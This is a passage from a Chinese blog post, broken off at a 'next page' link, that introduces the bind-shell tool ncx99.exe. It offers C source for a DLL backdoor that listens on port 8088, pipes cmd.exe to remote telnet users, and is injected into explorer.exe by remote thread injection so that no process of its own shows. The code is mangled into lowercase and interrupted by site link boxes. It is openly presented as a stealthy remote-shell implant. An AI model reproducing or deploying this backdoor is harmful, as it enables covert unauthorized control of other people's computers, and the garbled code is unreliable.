不知道大家用过ncx99.exe没有,这个小工具很有用,运行后,它bind到一个端口,并接管cmd.exe的输入输出,使得远程用户得到一个shell来实现各种操作,不需要特别的客户端,只要用windows自带的telnet客户端就可以了.
先给出dll的source code: 【程序编程相关:Win32下对多个的线程句柄的关闭的控制】
下面我给出类似这个工具的source code,我这个工具与ncx99.exe有点不一样,用到了远程线程插入技术,将ncx99.exe功能封装在一个dll里,然后将dll插入到explorer.exe进程里,使得程序运行后无进程,增强了隐蔽性. 【推荐阅读:数字签名(ms)】// test.cpp : defines the entry point for the dll application. 【扩展信息:http://www.myfaq.com】 //#include "stdafx.h"#include#define iport 8088
static void winapi threadproc(void* pvoid)
{wsadata wsa;socket serverfd;char buff[1024]; wsastartup(makeword(2,2),&wsa);//初始化winsockserverfd = socket(af_inet,sock_stream,ipproto_tcp);
struct sockaddr_in server;
server.sin_family = af_inet;
server.sin_port = htons(iport);server.sin_addr.s_addr=addr_any;int ret=bind(serverfd,(sockaddr *)&server,sizeof(server));ret=listen(serverfd,4);int iaddrsize = sizeof(server);re: socket clientfd=accept(serverfd,(sockaddr *)&server,&iaddrsize);//每次操作完成连接断开后程序
//返回这里继续阻塞,等待客户端连接security_attributes sa;
sa.nlength=12;sa.lpsecuritydeor=0;sa.binherithandle=true;handle hreadpipe1,hwritepipe1,hreadpipe2,hwritepipe2;ret=createpipe(&hreadpipe1,&hwritepipe1,&sa,0);//创建两个匿名管道
ret=createpipe(&hreadpipe2,&hwritepipe2,&sa,0);... 下一页